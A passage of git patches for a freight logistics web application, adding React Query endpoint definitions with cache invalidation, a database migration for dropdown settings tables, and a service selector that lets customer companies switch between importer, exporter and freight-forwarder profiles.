string }, Warehouse>( + "warehouses", + "getById", + ({ id }) => warehouseService.getById(id).then((r) => r.data), + ), + + dashboard: endpoint("warehouses", "dashboard", () => + warehouseService.dashboard().then((r) => r.data), + ), + + create: endpoint( + "warehouses", + "create", + (payload) => warehouseService.create(payload).then((r) => r.data), + undefined, + () => [["warehouses"]], + ), + + update: endpoint< + { id: string; payload: Partial }, + Warehouse + >( + "warehouses", + "update", + ({ id, payload }) => + warehouseService.update(id, payload).then((r) => r.data), + undefined, + () => [["warehouses"]], + ), + + // ── Yards ────────────────────────────────────────────────────────────── + listYards: endpoint<{ warehouseId: string }, WarehouseYard[]>( + "warehouses", + "listYards", + ({ warehouseId }) => + warehouseService.listYards(warehouseId).then((r) => r.data), + ), + + createYard: endpoint< + { warehouseId: string; payload: SaveYardPayload }, + WarehouseYard + >( + "warehouses", + "createYard", + ({ warehouseId, payload }) => + warehouseService.createYard(warehouseId, payload).then((r) => r.data), + undefined, + () => [["warehouses"]], + ), + + updateYard: endpoint< + { id: string; payload: Partial }, + WarehouseYard + >( + "warehouses", + "updateYard", + ({ id, payload }) => + warehouseService.updateYard(id, payload).then((r) => r.data), + undefined, + () => [["warehouses"], ["warehouse-yards"]], + ), + + // ── Zones ────────────────────────────────────────────────────────────── + listZones: endpoint<{ yardId: string }, WarehouseZone[]>( + "warehouses", + "listZones", + ({ yardId }) => warehouseService.listZones(yardId).then((r) => r.data), + ({ yardId }) => ["warehouse-yards", yardId, "zones"], + ), + + createZone: endpoint< + { yardId: string; payload: SaveZonePayload }, + WarehouseZone + >( + "warehouses", + "createZone", + ({ yardId, payload }) => + warehouseService.createZone(yardId, payload).then((r) => r.data), + undefined, + ({ yardId }) => [["warehouse-yards", yardId, "zones"]], + ), + + updateZone: endpoint< + { id: string; payload: Partial }, + WarehouseZone + >( + "warehouses", + "updateZone", + ({ id, payload }) => + warehouseService.updateZone(id, payload).then((r) => r.data), + undefined, + () => [["warehouse-yards"]], + ), + + // ── Inventory (queries) ──────────────────────────────────────────────── + listInventory: endpoint< + { filter?: InventoryFilter }, + WarehouseInventoryItem[] + >( + "warehouse-inventory", + "list", + ({ filter }) => warehouseService.listInventory(filter).then((r) => r.data), + ), + + inquiry: endpoint< + { filter: InventoryInquiryFilter }, + InventoryInquiryResult[] + >( + "warehouse-inventory", + "inquiry", + ({ filter }) => warehouseService.inquiry(filter).then((r) => r.data), + ({ filter }) => ["warehouse-inventory", "inquiry", filter], + ), + + eligibleBookings: endpoint( + "warehouse-inventory", + "eligible-bookings", + () => warehouseService.eligibleBookings().then((r) => r.data), + () => ["warehouse-inventory", "eligible-bookings"], + ), + + readyToLoadExport: endpoint( + "warehouse-inventory", + "ready-to-load-export", + () => warehouseService.readyToLoadExport().then((r) => r.data), + () => ["warehouse-inventory", "ready-to-load-export"], + ), + + loadedExport: endpoint( + "warehouse-inventory", + "loaded-export", + () => warehouseService.loadedExport().then((r) => r.data), + () => ["warehouse-inventory", "loaded-export"], + ), + + importArriveQueue: endpoint( + "warehouse-inventory", + "import-arrive-queue", + () => warehouseService.importArriveQueue().then((r) => r.data), + () => ["warehouse-inventory", "import-arrive-queue"], + ), + + importTrainItems: endpoint<{ scheduleId: string }, ImportTrainItem[]>( + "warehouse-inventory", + "import-train-items", + ({ scheduleId }) => + warehouseService.importTrainItems(scheduleId).then((r) => r.data), + ({ scheduleId }) => ["warehouse-inventory", "import-train-items", scheduleId], + ), + + importUnloadedQueue: endpoint( + "warehouse-inventory", + "import-unloaded-queue", + () => warehouseService.importUnloadedQueue().then((r) => r.data), + () => ["warehouse-inventory", "import-unloaded-queue"], + ), + + importPickupReadyQueue: endpoint( + "warehouse-inventory", + "import-pickup-ready-queue", + () => warehouseService.importPickupReadyQueue().then((r) => r.data), + () => ["warehouse-inventory", "import-pickup-ready-queue"], + ), + + loadableWagons: endpoint( + "warehouse", + "loadable-wagons", + () => warehouseService.loadableWagons().then((r) => r.data), + () => ["warehouse", "loadable-wagons"], + ), + + loadings: endpoint< + { params?: { bookingId?: string; wagonId?: string } }, + WarehouseLoading[] + >( + "warehouse-loadings", + "list", + ({ params }) => warehouseService.loadings(params).then((r) => r.data), + ({ params }) => ["warehouse-loadings", params ?? {}], + ), + + bookingSchedule: endpoint<{ bookingId: string }, BookingScheduleView>( + "warehouse", + "booking-schedule", + ({ bookingId }) => + warehouseService.bookingSchedule(bookingId).then((r) => r.data), + ({ bookingId }) => ["warehouse", "booking-schedule", bookingId], + ), + + movements: endpoint<{ id: string }, InventoryMovement[]>( + "warehouse-inventory", + "movements", + ({ id }) => warehouseService.movements(id).then((r) => r.data), + ({ id }) => ["warehouse-inventory", id, "movements"], + ), + + activity: endpoint<{ id: string }, WarehouseActivityLog[]>( + "warehouse-inventory", + "activity", + ({ id }) => warehouseService.activity(id).then((r) => r.data), + ({ id }) => ["warehouse-inventory", id, "activity"], + ), + + arrivalQueue: endpoint( + "warehouse-inventory", + "arrival-queue", + () => warehouseService.arrivalQueue().then((r) => r.data), + () => ["warehouse-inventory", "arrival-queue"], + ), + + inspectionReports: endpoint<{ inventoryId: string }, InspectionReport[]>( + "warehouse-inventory", + "inspection-reports", + ({ inventoryId }) => + warehouseService.listInspectionReports(inventoryId).then((r) => r.data), + ({ inventoryId }) => + ["warehouse-inventory", inventoryId, "inspection-reports"], + ), + + allocationRules: endpoint( + "warehouse-allocation-rules", + "list", + () => warehouseService.listAllocationRules().then((r) => r.data), + () => ["warehouse-allocation-rules"], + ), + + feeRules: endpoint( + "warehouse-fee-rules", + "list", + () => warehouseService.listFeeRules().then((r) => r.data), + () => ["warehouse-fee-rules"], + ), + + feePreview: endpoint<{ inventoryId: string }, FeePreview[]>( + "warehouse-inventory", + "fee-preview", + ({ inventoryId }) => + warehouseService.feePreview(inventoryId).then((r) => r.data), + ({ inventoryId }) => ["warehouse-inventory", inventoryId, "fee-preview"], + ), + + invoices: endpoint<{ filter?: WarehouseInvoiceFilter }, WarehouseFeeInvoice[]>( + "warehouse-fee-invoices", + "list", + ({ filter }) => warehouseService.listInvoices(filter).then((r) => r.data), + ({ filter }) => ["warehouse-fee-invoices", filter ?? {}], + ), + + invoice: endpoint<{ id: string }, WarehouseFeeInvoice>( + "warehouse-fee-invoices", + "detail", + ({ id }) => warehouseService.getInvoice(id).then((r) => r.data), + ({ id }) => ["warehouse-fee-invoices", "detail", id], + ), + + invoicesForInventory: endpoint< + { inventoryId: string }, + WarehouseFeeInvoice[] + >( + "warehouse-inventory", + "fee-invoices", + ({ inventoryId }) => + warehouseService.invoicesForInventory(inventoryId).then((r) => r.data), + ({ inventoryId }) => ["warehouse-inventory", inventoryId, "fee-invoices"], + ), + + // ── Inventory (mutations) ────────────────────────────────────────────── + receiveInventory: endpoint( + "warehouse-inventory", + "receive", + (payload) => warehouseService.receiveInventory(payload).then((r) => r.data), + undefined, + () => [["warehouse-inventory"], ["warehouses"]], + ), + + store: endpoint( + "warehouse-inventory", + "store", + (id) => warehouseService.store(id).then((r) => r.data), + undefined, + () => INVENTORY_INVALIDATIONS, + ), + + reserve: endpoint( + "warehouse-inventory", + "reserve", + (payload) => warehouseService.reserve(payload).then((r) => r.data), + undefined, + () => INVENTORY_INVALIDATIONS, + ), + + markReadyForLoading: endpoint( + "warehouse-inventory", + "mark-ready-for-loading", + (id) => warehouseService.markReadyForLoading(id).then((r) => r.data), + undefined, + () => INVENTORY_INVALIDATIONS, + ), + + load: endpoint< + { id: string; payload: LoadInventoryPayload }, + WarehouseInventoryItem + >( + "warehouse-inventory", + "load", + ({ id, payload }) => warehouseService.load(id, payload).then((r) => r.data), + undefined, + () => INVENTORY_INVALIDATIONS, + ), + + dispatch: endpoint( + "warehouse-inventory", + "dispatch", + (id) => warehouseService.dispatch(id).then((r) => r.data), + undefined, + () => INVENTORY_INVALIDATIONS, + ), + + move: endpoint< + { id: string; payload: MoveInventoryPayload }, + WarehouseInventoryItem + >( + "warehouse-inventory", + "move", + ({ id, payload }) => warehouseService.move(id, payload).then((r) => r.data), + undefined, + () => INVENTORY_INVALIDATIONS, + ), + + markReadyForPickup: endpoint( + "warehouse-inventory", + "mark-ready-for-pickup", + (id) => warehouseService.markReadyForPickup(id).then((r) => r.data), + undefined, + () => INVENTORY_INVALIDATIONS, + ), + + release: endpoint< + { id: string; payload: ReleaseOrderPayload }, + WarehouseInventoryItem + >( + "warehouse-inventory", + "release", + ({ id, payload }) => + warehouseService.release(id, payload).then((r) => r.data), + undefined, + () => INVENTORY_INVALIDATIONS, + ), + + deliver: endpoint< + { id: string; payload: DeliverInventoryPayload }, + WarehouseInventoryItem + >( + "warehouse-inventory", + "deliver", + ({ id, payload }) => + warehouseService.deliver(id, payload).then((r) => r.data), + undefined, + () => INVENTORY_INVALIDATIONS, + ), + + bulkReceive: endpoint( + "warehouse-inventory", + "bulk-receive", + (payload) => warehouseService.receiveBulk(payload).then((r) => r.data), + undefined, + () => INVENTORY_INVALIDATIONS, + ), + + loadPassedExport: endpoint( + "warehouse-inventory", + "load-passed-export", + () => warehouseService.loadPassedExport().then((r) => r.data), + undefined, + () => INVENTORY_INVALIDATIONS, + ), + + bulkMarkInspected: endpoint( + "warehouse-inventory", + "bulk-mark-inspected", + (payload) => warehouseService.bulkMarkInspected(payload).then((r) => r.data), + undefined, + () => INVENTORY_INVALIDATIONS, + ), + + bulkDispatchExport: endpoint( + "warehouse-inventory", + "bulk-dispatch-export", + (inventoryIds) => + warehouseService.bulkDispatchExport(inventoryIds).then((r) => r.data), + undefined, + () => INVENTORY_INVALIDATIONS, + ), + + autoUnloadArrivedBookings: endpoint( + "warehouse-inventory", + "auto-unload-arrived-bookings", + (scheduleId) => + warehouseService + .autoUnloadArrivedBookings(scheduleId) + .then((r) => r.data), + undefined, + () => INVENTORY_INVALIDATIONS, + ), + + autoUnloadArrived: endpoint( + "warehouse-inventory", + "auto-unload-arrived", + () => warehouseService.autoUnloadArrived().then((r) => r.data), + undefined, + () => [["warehouse-inventory"], ["warehouses"]], + ), + + autoLoadReady: endpoint( + "warehouse-inventory", + "auto-load-ready", + () => warehouseService.autoLoadReady().then((r) => r.data), + undefined, + () => [["warehouse-inventory"], ["warehouses"]], + ), + + unloadBooking: endpoint< + { bookingId: string; payload?: Record }, + WarehouseInventoryItem + >( + "warehouse-inventory", + "unload-booking", + ({ bookingId, payload }) => + warehouseService.unloadBooking(bookingId, payload).then((r) => r.data), + undefined, + () => [["warehouse-inventory"], ["warehouses"]], + ), + + createInspectionReport: endpoint< + { inventoryId: string; payload: InspectionReportPayload }, + InspectionReport + >( + "warehouse-inventory", + "create-inspection-report", + ({ inventoryId, payload }) => + warehouseService + .createInspectionReport(inventoryId, payload) + .then((r) => r.data), + undefined, + ({ inventoryId }) => [ + ["warehouse-inventory", inventoryId, "inspection-reports"], + ["warehouse-inventory"], + ], + ), + + uploadInspectionAttachments: endpoint< + { reportId: string; files: File[] }, + InspectionAttachment[] + >( + "warehouse-inventory", + "upload-inspection-attachments", + ({ reportId, files }) => + warehouseService + .uploadInspectionAttachments(reportId, files) + .then((r) => r.data), + ), + + // ── Allocation + fee rules ───────────────────────────────────────────── + previewAllocation: endpoint( + "warehouse-allocation-rules", + "preview", + (criteria) => + warehouseService.previewAllocation(criteria).then((r) => r.data), + ), + + createAllocationRule: endpoint( + "warehouse-allocation-rules", + "create", + (payload) => + warehouseService.createAllocationRule(payload).then((r) => r.data), + undefined, + () => [["warehouse-allocation-rules"]], + ), + + updateAllocationRule: endpoint< + { id: string; payload: Partial }, + AllocationRule + >( + "warehouse-allocation-rules", + "update", + ({ id, payload }) => + warehouseService.updateAllocationRule(id, payload).then((r) => r.data), + undefined, + () => [["warehouse-allocation-rules"]], + ), + + deleteAllocationRule: endpoint( + "warehouse-allocation-rules", + "delete", + (id) => warehouseService.deleteAllocationRule(id).then(() => undefined), + undefined, + () => [["warehouse-allocation-rules"]], + ), + + createFeeRule: endpoint( + "warehouse-fee-rules", + "create", + (payload) => warehouseService.createFeeRule(payload).then((r) => r.data), + undefined, + () => [["warehouse-fee-rules"]], + ), + + updateFeeRule: endpoint< + { id: string; payload: Partial }, + FeeRule + >( + "warehouse-fee-rules", + "update", + ({ id, payload }) => + warehouseService.updateFeeRule(id, payload).then((r) => r.data), + undefined, + () => [["warehouse-fee-rules"]], + ), + + deleteFeeRule: endpoint( + "warehouse-fee-rules", + "delete", + (id) => warehouseService.deleteFeeRule(id).then(() => undefined), + undefined, + () => [["warehouse-fee-rules"]], + ), + + // ── Invoices ─────────────────────────────────────────────────────────── + generateInvoice: endpoint< + { inventoryId: string; confirmZero?: boolean }, + WarehouseFeeInvoice + >( + "warehouse-fee-invoices", + "generate", + ({ inventoryId, confirmZero }) => + warehouseService + .generateInvoice(inventoryId, confirmZero) + .then((r) => r.data), + undefined, + () => [["warehouse-fee-invoices"], ["warehouse-inventory"]], + ), + + cancelInvoice: endpoint( + "warehouse-fee-invoices", + "cancel", + (id) => warehouseService.cancelInvoice(id).then((r) => r.data), + undefined, + () => [["warehouse-fee-invoices"], ["warehouse-inventory"]], + ), + + payInvoice: endpoint< + { id: string; payload: PayInvoicePayload }, + WarehouseFeeInvoice + >( + "warehouse-fee-invoices", + "pay", + ({ id, payload }) => + warehouseService.payInvoice(id, payload).then((r) => r.data), + undefined, + () => [["warehouse-fee-invoices"], ["warehouse-inventory"]], + ), + + gateClearance: endpoint( + "warehouse-fee-invoices", + "gate-clearance", + (inventoryId) => + warehouseService.gateClearance(inventoryId).then((r) => r.data), + undefined, + () => [["warehouse-fee-invoices"], ["warehouse-inventory"]], + ), + }, + + cargoes: { + list: endpoint("cargoes", "list", () => + cargoService.getAll().then((r) => r.data), + ), + + listByContainer: endpoint<{ containerId: string }, Cargo[]>( + "cargoes", + "listByContainer", + ({ containerId }) => + cargoService.getByContainer(containerId).then((r) => r.data), + ), + + getById: endpoint<{ id: string }, Cargo>("cargoes", "getById", ({ id }) => + cargoService.getById(id).then((r) => r.data), + ), + + create: endpoint, Cargo>( + "cargoes", + "create", + (payload) => cargoService.create(payload).then((r) => r.data), + undefined, + () => [["cargoes"]], + ), + + update: endpoint<{ id: string; data: Partial }, Cargo>( + "cargoes", + "update", + ({ id, data }) => cargoService.update(id, data).then((r) => r.data), + undefined, + () => [["cargoes"]], + ), + + remove: endpoint( + "cargoes", + "remove", + (id) => cargoService.delete(id).then(() => undefined), + undefined, + () => [["cargoes"]], + ), + + load: endpoint< + { id: string; quantity: number; weight: number; volume?: number }, + Cargo + >( + "cargoes", + "load", + ({ id, quantity, weight, volume }) => + cargoService.load(id, quantity, weight, volume).then((r) => r.data), + undefined, + () => [["cargoes"]], + ), + + deliver: endpoint<{ id: string; payload?: DeliverCargoPayload }, Cargo>( + "cargoes", + "deliver", + ({ id, payload }) => + cargoService.deliver(id, payload).then((r) => r.data), + undefined, + () => [["cargoes"]], + ), + + unload: endpoint<{ id: string }, Cargo>( + "cargoes", + "unload", + ({ id }) => cargoService.unload(id).then((r) => r.data), + undefined, + () => [["cargoes"]], + ), + }, + fileUploadSettings: { list: endpoint( "file-upload-settings", diff --git a/apps/edr-freight-web/backoffice/src/utils/endpoint.ts b/apps/edr-freight-web/backoffice/src/utils/endpoint.ts index 4a4af69d6..02bc70e85 100644 --- a/apps/edr-freight-web/backoffice/src/utils/endpoint.ts +++ b/apps/edr-freight-web/backoffice/src/utils/endpoint.ts @@ -12,6 +12,27 @@ export type QueryConfig = Omit< "queryKey" | "queryFn" >; +/** + * Query keys a mutation should invalidate on success. Receives the mutation + * input and response so keys can be derived from them. Returns a list of query + * keys — each is matched as a *prefix* by React Query, so returning a service + * root (e.g. `["cargoes"]`) invalidates every query nested under it. + * + * The keys are surfaced through `mutationOptions().meta.invalidates`; the + * app-wide `MutationCache` (see `lib/queryClient.ts`) reads them and invalidates + * automatically, so components never wire `onSuccess` invalidation by hand. + */ +export type InvalidatesFn = ( + input: TInput, + data: TResponse, +) => ReadonlyArray; + +/** Shape stored in `mutation.meta.invalidates` and consumed by the MutationCache. */ +export type InvalidatesMeta = ( + variables: unknown, + data: unknown, +) => ReadonlyArray; + // --------------------------------------------------------------------------- // Endpoint interfaces // --------------------------------------------------------------------------- @@ -45,6 +66,7 @@ export function endpoint( action: string, execute: (input: TInput) => Promise, queryKeyBuilder?: (input: TInput) => readonly unknown[], + invalidates?: InvalidatesFn, ) { const buildKey = (input?: TInput): readonly unknown[] => { if (queryKeyBuilder && input !== undefined) { @@ -77,27 +99,25 @@ export function endpoint( }; const mutationOptions = ( - config?: Omit< - UseMutationOptions< - TResponse, - Error, - TInput - >, - "mutationFn" - >, -): UseMutationOptions< - TResponse, - Error, - TInput -> => { - return { - ...config, - mutationFn: ( - variables: TInput, - ): Promise => - execute(variables), + config?: Omit, "mutationFn">, + ): UseMutationOptions => { + const meta = invalidates + ? { + ...config?.meta, + invalidates: ((variables, data) => + invalidates( + variables as TInput, + data as TResponse, + )) satisfies InvalidatesMeta, + } + : config?.meta; + + return { + ...config, + meta, + mutationFn: (variables: TInput): Promise => execute(variables), + }; }; -}; return { call, From 3e45d694dadfd9a96da0bad3cb66dd19db25dea2 Mon Sep 17 00:00:00 2001 From: Marshal Date: Mon, 22 Jun 2026 11:54:10 +0000 Subject: [PATCH 18/30] changes --- .../1791999999999-CreateDropdownSettings.ts | 70 +++++++++++++++++++ 1 file changed, 70 insertions(+) create mode 100644 apps/edr-freight-api/src/migrations/1791999999999-CreateDropdownSettings.ts diff --git a/apps/edr-freight-api/src/migrations/1791999999999-CreateDropdownSettings.ts b/apps/edr-freight-api/src/migrations/1791999999999-CreateDropdownSettings.ts new file mode 100644 index 000000000..d86efa239 --- /dev/null +++ b/apps/edr-freight-api/src/migrations/1791999999999-CreateDropdownSettings.ts @@ -0,0 +1,70 @@ +import { MigrationInterface, QueryRunner } from 'typeorm'; + +/** + * Creates the generic dropdown settings tables (freight.dropdown_settings + + * freight.dropdown_options) backing the DropdownSetting / DropdownOption + * entities. These tables previously only existed via `synchronize` on some + * databases; this migration makes them part of the migration history so the + * SeedGeneralContractPeriod migration (which inserts into them) can run on a + * fresh database. Idempotent so it is safe on DBs where the tables already exist. + */ +export class CreateDropdownSettings1791999999999 + implements MigrationInterface +{ + name = 'CreateDropdownSettings1791999999999'; + + public async up(queryRunner: QueryRunner): Promise { + await queryRunner.query(` + CREATE TABLE IF NOT EXISTS "freight"."dropdown_settings" ( + "id" uuid NOT NULL DEFAULT gen_random_uuid(), + "code" varchar(128) NOT NULL, + "label" varchar(256) NOT NULL, + "description" text, + "multiple" boolean NOT NULL DEFAULT false, + "meta" jsonb, + "created_at" timestamptz NOT NULL DEFAULT now(), + "updated_at" timestamptz NOT NULL DEFAULT now(), + "deleted_at" timestamptz, + CONSTRAINT "PK_dropdown_settings" PRIMARY KEY ("id") + ); + `); + + await queryRunner.query(` + CREATE UNIQUE INDEX IF NOT EXISTS "UQ_dropdown_settings_code" + ON "freight"."dropdown_settings" ("code"); + `); + + await queryRunner.query(` + CREATE TABLE IF NOT EXISTS "freight"."dropdown_options" ( + "id" uuid NOT NULL DEFAULT gen_random_uuid(), + "setting_id" uuid NOT NULL, + "value" varchar(256) NOT NULL, + "label" varchar(256) NOT NULL, + "note" text, + "is_disabled" boolean NOT NULL DEFAULT false, + "display_order" integer NOT NULL DEFAULT 0, + "meta" jsonb, + "created_at" timestamptz NOT NULL DEFAULT now(), + "updated_at" timestamptz NOT NULL DEFAULT now(), + "deleted_at" timestamptz, + CONSTRAINT "PK_dropdown_options" PRIMARY KEY ("id"), + CONSTRAINT "FK_dropdown_options_setting" FOREIGN KEY ("setting_id") + REFERENCES "freight"."dropdown_settings" ("id") ON DELETE CASCADE + ); + `); + + await queryRunner.query(` + CREATE UNIQUE INDEX IF NOT EXISTS "UQ_dropdown_options_setting_value" + ON "freight"."dropdown_options" ("setting_id", "value"); + `); + } + + public async down(queryRunner: QueryRunner): Promise { + await queryRunner.query( + `DROP TABLE IF EXISTS "freight"."dropdown_options";`, + ); + await queryRunner.query( + `DROP TABLE IF EXISTS "freight"."dropdown_settings";`, + ); + } +} From ad0043b580fa9d4d0068cfb63c5818a50085985f Mon Sep 17 00:00:00 2001 From: Marshal Date: Mon, 22 Jun 2026 12:11:10 +0000 Subject: [PATCH 19/30] feat: enhance service profile handling for customer companies --- .../modules/companies/companies.service.ts | 8 +- .../portal/src/components/AppLayout.tsx | 116 +++++++++++++----- 2 files changed, 92 insertions(+), 32 deletions(-) diff --git a/apps/edr-freight-api/src/modules/companies/companies.service.ts b/apps/edr-freight-api/src/modules/companies/companies.service.ts index 78525d2c9..9c4bba5f4 100644 --- a/apps/edr-freight-api/src/modules/companies/companies.service.ts +++ b/apps/edr-freight-api/src/modules/companies/companies.service.ts @@ -585,7 +585,13 @@ export class CompaniesService { private getProfileTypeForCompanyType(companyType: string): ProfileType[] { switch (companyType) { case "customer": - return [ProfileType.importer, ProfileType.exporter]; + // A customer can operate as an importer and/or exporter, and may also + // add a freight-forwarder service profile under the same company. + return [ + ProfileType.importer, + ProfileType.exporter, + ProfileType.freightForwarder, + ]; case "freight_forwarder": return [ProfileType.freightForwarder]; case "dj_freight_forwarder": diff --git a/apps/edr-freight-web/portal/src/components/AppLayout.tsx b/apps/edr-freight-web/portal/src/components/AppLayout.tsx index 7720f6117..7f86ead43 100644 --- a/apps/edr-freight-web/portal/src/components/AppLayout.tsx +++ b/apps/edr-freight-web/portal/src/components/AppLayout.tsx @@ -66,16 +66,24 @@ export interface AppLayoutProps { /** The active operational mode (importer/exporter/...). */ activeProfileType?: string | null; /** Switch to an existing profile of the given type. */ - onSwitchMode?: (type: ImporterExporter) => Promise | void; + onSwitchMode?: (type: ServiceType) => Promise | void; /** Create the profile of the given type (with business license) then switch. */ onCreateProfile?: ( - type: ImporterExporter, + type: ServiceType, licenseFiles: File[], ) => Promise | void; children: ReactNode; } -type ImporterExporter = "importer" | "exporter"; +/** Service profiles a customer company can operate under and switch between. */ +type ServiceType = "importer" | "exporter" | "freight_forwarder"; + +/** Services a customer company can select in the header. */ +const CUSTOMER_SERVICES: ServiceType[] = [ + "importer", + "exporter", + "freight_forwarder", +]; type SwitchResult = | { success: true; data?: unknown } | { success: false; error?: { message?: string } }; @@ -166,29 +174,35 @@ export function AppLayout({ const initials = getInitials(userName); const activePage = getActivePage(sidebarItems, activePath); - // ── Importer/Exporter mode switching (customer companies only) ── + // ── Service selection (customer companies only) ── + // A customer can operate as importer, exporter and/or freight forwarder, + // and switch between whichever service profiles their company has. const isCustomer = companyType === "customer"; - const targetMode: ImporterExporter = - activeProfileType === "importer" ? "exporter" : "importer"; - const targetExists = companyProfiles.some((p) => p.type === targetMode); const canSwitch = isCustomer && - (activeProfileType === "importer" || activeProfileType === "exporter"); + CUSTOMER_SERVICES.includes(activeProfileType as ServiceType); + + const profileExists = (type: ServiceType) => + companyProfiles.some((p) => p.type === type); const [switching, setSwitching] = useState(false); const [createOpen, setCreateOpen] = useState(false); + const [createTarget, setCreateTarget] = useState("importer"); const [licenseFiles, setLicenseFiles] = useState([]); const [createError, setCreateError] = useState(null); - const handleSwitchClick = async () => { - if (targetExists) { + const handleSelectService = async (type: ServiceType) => { + if (type === activeProfileType) return; + if (profileExists(type)) { setSwitching(true); try { - await onSwitchMode?.(targetMode); + await onSwitchMode?.(type); } finally { setSwitching(false); } } else { + // No profile yet — collect a business license, then create + switch. + setCreateTarget(type); setLicenseFiles([]); setCreateError(null); setCreateOpen(true); @@ -203,7 +217,7 @@ export function AppLayout({ setSwitching(true); setCreateError(null); try { - const res = await onCreateProfile?.(targetMode, licenseFiles); + const res = await onCreateProfile?.(createTarget, licenseFiles); if (res && !res.success) { setCreateError(res.error?.message ?? "Failed to create profile"); return; @@ -214,8 +228,7 @@ export function AppLayout({ } }; - const modeLabel = (m: ImporterExporter) => - m === "importer" ? "Importer" : "Exporter"; + const serviceLabel = (m: ServiceType) => PROFILE_TYPE_LABELS[m] ?? m; const isItemActive = (item: SidebarItem) => activePath === item.href.toLowerCase() || @@ -289,21 +302,62 @@ export function AppLayout({ {/* Right: switch + search + bell + avatar */} - {/* Importer/Exporter mode switch (customer companies only) */} + {/* Service selector (customer companies only) */} {canSwitch && ( - + + + + + Select service + {CUSTOMER_SERVICES.map((type) => { + const isActive = type === activeProfileType; + const exists = profileExists(type); + return ( + handleSelectService(type)} + leftSection={ + isActive ? ( + + ) : exists ? ( + + ) : ( + + ) + } + disabled={isActive} + > + {serviceLabel(type)} + {!exists && ( + + (set up) + + )} + + ); + })} + + )} {/* Search pill */} @@ -798,15 +852,15 @@ export function AppLayout({ (switching ? undefined : setCreateOpen(false))} - title={`Set up your ${modeLabel(targetMode)} profile`} + title={`Set up your ${serviceLabel(createTarget)} profile`} centered radius="lg" > - You don't have an {modeLabel(targetMode).toLowerCase()} profile yet. - Add your business license to create one and switch to{" "} - {modeLabel(targetMode).toLowerCase()} mode. + You don't have a {serviceLabel(createTarget).toLowerCase()} profile + yet. Add your business license to create one and switch to{" "} + {serviceLabel(createTarget).toLowerCase()}. Date: Mon, 22 Jun 2026 12:25:20 +0000 Subject: [PATCH 20/30] refactor: migrated of the customer hooks for warehouse data fetching --- .../warehouses/ActivityTimeline.tsx | 11 +- .../warehouses/CreateWarehouseModal.tsx | 8 +- .../components/warehouses/CreateYardModal.tsx | 8 +- .../components/warehouses/CreateZoneModal.tsx | 8 +- .../warehouses/DeliverInventoryModal.tsx | 6 +- .../components/warehouses/FeePreviewModal.tsx | 27 +- .../warehouses/InspectionReportModal.tsx | 12 +- .../InventoryMovementHistoryTable.tsx | 11 +- .../warehouses/InventoryWorkbench.tsx | 31 +- .../warehouses/LoadInventoryModal.tsx | 6 +- .../warehouses/MoveInventoryModal.tsx | 24 +- .../warehouses/ReceiveInventoryModal.tsx | 123 +++-- .../warehouses/ReleaseOrderModal.tsx | 6 +- .../warehouses/ReserveInventoryModal.tsx | 6 +- .../src/components/warehouses/WagonSelect.tsx | 7 +- .../warehouses/WarehouseDashboardCharts.tsx | 8 +- .../warehouses/WarehouseInfoCard.tsx | 15 +- .../backoffice/src/hooks/useWarehouses.ts | 505 ------------------ .../src/pages/warehouses/ArrivalQueuePage.tsx | 13 +- .../pages/warehouses/DispatchQueuePage.tsx | 8 +- .../pages/warehouses/InventoryInquiryPage.tsx | 31 +- .../pages/warehouses/LoadedInventoryPage.tsx | 13 +- .../src/pages/warehouses/LoadingQueuePage.tsx | 21 +- .../warehouses/WarehouseDashboardPage.tsx | 6 +- .../pages/warehouses/WarehouseDetailPage.tsx | 36 +- .../warehouses/WarehouseInventoryPage.tsx | 31 +- .../warehouses/WarehouseInvoicesPage.tsx | 26 +- .../pages/warehouses/WarehouseListPage.tsx | 8 +- .../pages/warehouses/WarehouseRulesPage.tsx | 25 +- 29 files changed, 336 insertions(+), 704 deletions(-) delete mode 100644 apps/edr-freight-web/backoffice/src/hooks/useWarehouses.ts diff --git a/apps/edr-freight-web/backoffice/src/components/warehouses/ActivityTimeline.tsx b/apps/edr-freight-web/backoffice/src/components/warehouses/ActivityTimeline.tsx index 49e8828dd..5fac23ea7 100644 --- a/apps/edr-freight-web/backoffice/src/components/warehouses/ActivityTimeline.tsx +++ b/apps/edr-freight-web/backoffice/src/components/warehouses/ActivityTimeline.tsx @@ -9,7 +9,9 @@ import { Warehouse, } from 'lucide-react'; -import { useInventoryActivity } from '@/hooks/useWarehouses'; +import { useQuery } from '@tanstack/react-query'; + +import { api } from '@/services/api'; import type { ActivityType } from '@/types/warehouse'; import { formatDate, humanizeEnum } from './options'; @@ -24,7 +26,12 @@ const activityIcon: Record = { }; export function ActivityTimeline({ inventoryId }: { inventoryId: string }) { - const { data, isLoading } = useInventoryActivity(inventoryId); + const { data, isLoading } = useQuery( + api.warehouses.activity.queryOptions({ + input: { id: inventoryId }, + enabled: Boolean(inventoryId), + }), + ); const items = data ?? []; if (isLoading) { diff --git a/apps/edr-freight-web/backoffice/src/components/warehouses/CreateWarehouseModal.tsx b/apps/edr-freight-web/backoffice/src/components/warehouses/CreateWarehouseModal.tsx index 87d5f2946..cc8557be2 100644 --- a/apps/edr-freight-web/backoffice/src/components/warehouses/CreateWarehouseModal.tsx +++ b/apps/edr-freight-web/backoffice/src/components/warehouses/CreateWarehouseModal.tsx @@ -9,9 +9,11 @@ import { TextInput, } from '@mantine/core'; +import { useMutation } from '@tanstack/react-query'; + +import { api } from '@/services/api'; import { useToast } from '@/hooks/use-toast'; import { useStations } from '@/hooks/useStations'; -import { useCreateWarehouse, useUpdateWarehouse } from '@/hooks/useWarehouses'; import type { SaveWarehousePayload, Warehouse, WarehouseType } from '@/types/warehouse'; import { extractErrorMessage, statusOptions, warehouseTypeOptions } from './options'; @@ -48,8 +50,8 @@ const emptyForm = (): FormState => ({ export function CreateWarehouseModal({ opened, onClose, warehouse }: CreateWarehouseModalProps) { const isEdit = Boolean(warehouse); const { toast } = useToast(); - const createMutation = useCreateWarehouse(); - const updateMutation = useUpdateWarehouse(); + const createMutation = useMutation(api.warehouses.create.mutationOptions()); + const updateMutation = useMutation(api.warehouses.update.mutationOptions()); const { data: stations } = useStations(); const [form, setForm] = useState(emptyForm()); diff --git a/apps/edr-freight-web/backoffice/src/components/warehouses/CreateYardModal.tsx b/apps/edr-freight-web/backoffice/src/components/warehouses/CreateYardModal.tsx index 9ef9ef26c..a2eb0aa0e 100644 --- a/apps/edr-freight-web/backoffice/src/components/warehouses/CreateYardModal.tsx +++ b/apps/edr-freight-web/backoffice/src/components/warehouses/CreateYardModal.tsx @@ -1,8 +1,10 @@ import { useEffect, useState } from 'react'; import { Button, Group, Modal, NumberInput, Select, Stack, TextInput } from '@mantine/core'; +import { useMutation } from '@tanstack/react-query'; + +import { api } 